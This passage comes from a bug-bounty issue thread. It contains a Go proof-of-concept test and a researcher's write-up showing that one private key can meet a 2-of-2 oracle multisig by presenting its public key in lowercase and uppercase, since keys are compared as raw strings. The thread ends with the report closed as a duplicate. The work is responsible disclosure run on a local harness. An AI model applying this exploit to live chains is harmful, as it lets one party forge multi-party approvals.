[]string{kPub, kUpper}, 2)\n\t\tif err := statechain.ValidateOp(op); err != nil {\n\t\t\tt.Fatalf(\"BUG NOT PRESENT: ValidateOp rejected [K, UPPER(K)] threshold 2: %v\", err)\n\t\t}\n\t\tfmt.Println(\"ValidateOp([K, UPPER(K)], threshold=2) => ACCEPTED (nil error)\")\n\t})\n\n\tt.Run(\"ValidateOp_rejects_exact_duplicate\", func(t *testing.T) {\n\t\top := oracleOp(t, []string{kPub, kPub}, 2)\n\t\terr := statechain.ValidateOp(op)\n\t\tif err == nil {\n\t\t\tt.Fatalf(\"control failed: ValidateOp accepted exact duplicate [K, K]\")\n\t\t}\n\t\tfmt.Printf(\"ValidateOp([K, K], threshold=2) => rejected as expected: %v\\n\", err)\n\t})\n\n\tt.Run(\"ValidateOp_accepts_two_distinct_keys\", func(t *testing.T) {\n\t\top := oracleOp(t, []string{kPub, k2Pub}, 2)\n\t\tif err := statechain.ValidateOp(op); err != nil {\n\t\t\tt.Fatalf(\"control failed: ValidateOp rejected two distinct keys: %v\", err)\n\t\t}\n\t\tfmt.Println(\"ValidateOp([K, K2 distinct], threshold=2) => ACCEPTED (baseline)\")\n\t})\n\n\t// ---------- Part 2: full Chain.AddBlock flow ----------\n\t// Genesis oracle is benign: [K2] threshold 1.\n\tgenesis := genesisWithOracle(t, []string{d1Pub, d2Pub}, []string{k2Pub}, 1)\n\tchain, err := statechain.NewChain(newMemStore(), genesis)\n\tif err != nil {\n\t\tt.Fatalf(\"NewChain: %v\", err)\n\t}\n\tfmt.Printf(\"genesis hash: %s (oracle=[K2] 1-of-1, DAO 2-of-2)\\n\", genesis.Hash)\n\n\t// Block 1 (DAO path): rotate sys.oracle to the evil [K, UPPER(K)] 2-of-2.\n\t// Signed by BOTH current DAO keys — planting itself needs the DAO threshold,\n\t// exactly like the dao_keyset plant in GitHub issue #363.\n\tplant := buildBlock(t, 1, genesis.Hash, 100, []statechain.Op{oracleOp(t, []string{kPub, kUpper}, 2)})\n\tplant.Signatures = []statechain.BlockSignature{sign(t, plant, d1Priv), sign(t, plant, d2Priv)}\n\n\tt.Run(\"DAO_block_plants_evil_oracle_keyset\", func(t *testing.T) {\n\t\tif err := chain.AddBlock(plant); err != nil {\n\t\t\tt.Fatalf(\"BUG NOT PRESENT at AddBlock: plant block rejected: %v\", err)\n\t\t}\n\t\traw, ok := chain.GetKV(\"sys.oracle\")\n\t\tif !ok {\n\t\t\tt.Fatalf(\"sys.oracle missing after plant block\")\n\t\t}\n\t\tfmt.Printf(\"AddBlock(plant sys.oracle=[K, UPPER(K)] thr=2, DAO 2-of-2 sigs) => ACCEPTED; stored sys.oracle=%s\\n\", string(raw))\n\t})\n\n\t// Negative controls against the planted 2-of-2 oracle (tip = plant block).\n\t// Failed AddBlock calls do not advance the tip, so all controls chain off plant.\n\tnewEpochAttempt := func() *statechain.Block {\n\t\treturn buildBlock(t, 2, plant.Hash, 200, []statechain.Op{epochOp(t, \"epoch.1\")})\n\t}\n\n\tt.Run(\"control_single_signature_rejected\", func(t *testing.T) {\n\t\tblk := newEpochAttempt()\n\t\tblk.Signatures = []statechain.BlockSignature{sign(t, blk, kPriv)}\n\t\terr := chain.AddBlock(blk)\n\t\tif err == nil {\n\t\t\tt.Fatalf(\"control failed: epoch block with ONE signature accepted under threshold 2\")\n\t\t}\n\t\tfmt.Printf(\"epoch block, 1 sig from K => rejected as expected: %v\\n\", err)\n\t})\n\n\tt.Run(\"control_same_spelling_twice_rejected\", func(t *testing.T) {\n\t\tblk := newEpochAttempt()\n\t\ts := sign(t, blk, kPriv)\n\t\tblk.Signatures = []statechain.BlockSignature{s, s}\n\t\terr := chain.AddBlock(blk)\n\t\tif err == nil {\n\t\t\tt.Fatalf(\"control failed: epoch block with same spelling twice accepted\")\n\t\t}\n\t\tfmt.Printf(\"epoch block, sigs [K, K] same spelling => rejected as expected: %v\\n\", err)\n\t})\n\n\tt.Run(\"control_outsider_key_rejected\", func(t *testing.T) {\n\t\tblk := newEpochAttempt()\n\t\tblk.Signatures = []statechain.BlockSignature{sign(t, blk, kPriv), sign(t, blk, k2Priv)}\n\t\terr := chain.AddBlock(blk)\n\t\tif err == nil {\n\t\t\tt.Fatalf(\"control failed: epoch block with outsider key K2 accepted\")\n\t\t}\n\t\tfmt.Printf(\"epoch block, sigs [K, K2-not-in-keyset] => rejected as expected: %v\\n\", err)\n\t})\n\n\t// The exploit: ONE private key, two signatures — identical signature bytes,\n\t// public_key spelled lowercase once and UPPERCASE once.\n\tt.Run(\"EXPLOIT_one_key_satisfies_2of2_oracle\", func(t *testing.T) {\n\t\tblk := newEpochAttempt()\n\t\tsigLower := sign(t, blk, kPriv)\n\t\tsigUpper := sigLower\n\t\tsigUpper.PublicKey = kUpper\n\t\tif sigLower.Sig != sigUpper.Sig {\n\t\t\tt.Fatalf(\"internal: signature bytes differ between spellings\")\n\t\t}\n\t\tblk.Signatures = []statechain.BlockSignature{sigLower, sigUpper}\n\t\tif err := chain.AddBlock(blk); err != nil {\n\t\t\tt.Fatalf(\"BUG NOT PRESENT at verify: epoch block rejected: %v\", err)\n\t\t}\n\t\tv, found := chain.GetKV(\"epoch.1\")\n\t\tif !found {\n\t\t\tt.Fatalf(\"epoch.1 not stored after accepted oracle block\")\n\t\t}\n\t\tfmt.Printf(\"EXPLOIT CONFIRMED: epoch block ACCEPTED with 2 sigs from ONE private key \"+\n\t\t\t\"(public_key %s… + %s…, identical sig bytes %s…); epoch.1 stored: %s\\n\",\n\t\t\tsigLower.PublicKey[:12], sigUpper.PublicKey[:12], sigLower.Sig[:16], string(v))\n\t})\n\n\t// Sanity: an honest 2-of-2 oracle keyset still requires both distinct keys,\n\t// and both distinct keys together pass.\n\tt.Run(\"honest_keyset_still_works\", func(t *testing.T) {\n\t\tg2 := genesisWithOracle(t, []string{d1Pub, d2Pub}, []string{k2Pub}, 1)\n\t\tch2, err := statechain.NewChain(newMemStore(), g2)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"NewChain honest: %v\", err)\n\t\t}\n\t\tplant2 := buildBlock(t, 1, g2.Hash, 100, []statechain.Op{oracleOp(t, []string{kPub, k2Pub}, 2)})\n\t\tplant2.Signatures = []statechain.BlockSignature{sign(t, plant2, d1Priv), sign(t, plant2, d2Priv)}\n\t\tif err := ch2.AddBlock(plant2); err != nil {\n\t\t\tt.Fatalf(\"honest plant rejected: %v\", err)\n\t\t}\n\t\tblk := buildBlock(t, 2, plant2.Hash, 200, []statechain.Op{epochOp(t, \"epoch.1\")})\n\t\tblk.Signatures = []statechain.BlockSignature{sign(t, blk, kPriv), sign(t, blk, k2Priv)}\n\t\tif err := ch2.AddBlock(blk); err != nil {\n\t\t\tt.Fatalf(\"honest 2-of-2 epoch block rejected: %v\", err)\n\t\t}\n\t\tfmt.Println(\"honest keyset [K, K2] 2-of-2: epoch block with both distinct keys => ACCEPTED (baseline intact)\")\n\t})\n}\n```\n\n</details>","created_at":"2026-11-11T15:43:39+00:00"},{"id":3154,"source":"github","source_ref":"6854738949","author":"RahmaMaria","team":false,"body":"## Supplementary proof: the `sys.oracle` instance, executed end to end\n\nThis completes the report. In the original issue I proved the `sys.dao_keyset` instance; the `sys.oracle` instance was argued by code shape only. I have now executed it end to end, twice, with fresh random keys each time — and I also independently reproduced @ariyanto18's supplementary proof, which checks out.\n\n**Setup:** repo at HEAD `89a542e` (`release: testnet-0005 quorum withhold fix`), Go 1.25, local harness only (`GenerateTestGenesis`, in-memory store, self-made keys). No live testnet traffic, no live keys, no live DAO interaction.\n\n**Mechanism (read before running):**\n- `statechain/kvstore.go:136-163` — `validateSysKeyValue`, case `\"sys.oracle\"`: the duplicate check is `seen[k]` on the **raw** key string, so `[K, UPPER(K)]` passes validation.\n- `statechain/chain.go:184-201` — `AddBlock` oracle branch: if an oracle config exists and all ops match `AllowedPrefix`, the block must pass `validateEpochValue` + write-once, then `verifyOracleMultisig`.\n- `statechain/chain.go:361-395` — `verifyOracleMultisig`: `keysetMap` and `seen` are keyed on raw `sig.PublicKey` strings; signature verification goes through `VerifyHexSignature` → `hex.DecodeString` (case-insensitive). Two signatures from one private key — one with a lowercase `public_key`, one uppercase — are distinct raw strings, both in the keyset map, and both verify (identical sig bytes).\n\n**Results — run 1 (run 2 identical, fresh random keys):**\n- TEST 1 plant ACCEPTED: DAO-signed block (2 current DAO keys) sets `sys.oracle = [K, UPPER(K)]`, threshold 2, `allowed_prefix: \"oracle.\"`.\n- TEST 2 exploit ACCEPTED: one private key satisfies oracle 2-of-2 by signing once with lowercase `public_key` and once uppercase (identical sig bytes); `oracle.epoch.1` stored.\n- TEST 3 control: same-case duplicate `[K, K]` rejected (`oracle key[1] is a duplicate`).\n- TEST 4 control: K + old DAO key D1 rejected (`signer … not in oracle keyset`).\n- TEST 5 control: exact duplicate signer rejected (`duplicate signer`).\n- TEST 6 disproof attempt: DAO-signed block mixing a DAO op with an oracle-prefixed op rejected (`DAO block cannot write to oracle prefix`) — so the exploit genuinely goes through `verifyOracleMultisig`, not a DAO shortcut.\n\n**One honest note on my own harness:** my very first attempt failed at TEST 2 because my epoch value omitted `r_source` — the chain correctly rejected the malformed value (`epoch r_source must be 'volume', 'price_floor', 'tied', or 'collusion'`). Fixed with `r_source: \"tied\"` and all-zero volumes; after that both runs pass end to end. The failure was in my test value, not in the chain.\n\n**Caveat, stated plainly:** this confirms the mechanism — one key = oracle 2-of-2 once a mixed-case oracle config is planted. Planting still needs the current DAO threshold (2-of-3 on testnet-0005); a single oracle key holder cannot plant it alone, and a single DAO member cannot plant it alone. Same gating nuance as the original H1: High, not Critical.\n\nThanks to @ariyanto18 for the independent confirmation — I reproduced the same end-to-end oracle-path execution he described, and it holds up.","created_at":"2026-11-13T13:45:38+00:00"},{"id":12581,"source":"github","source_ref":"7025797511","author":"Joseph Denne","team":true,"body":"Thanks. This is the same finding as https://bounty.xe.network/XE-0001, which was filed first; the programme pays the\nfirst verifiable submission, so this one closes as a duplicate. If you believe it is a different\nbug, file a new report that links https://bounty.xe.network/XE-13390 and says what differs; it is read like any other.","created_at":"2026-11-20T00:04:49+00:00"}]}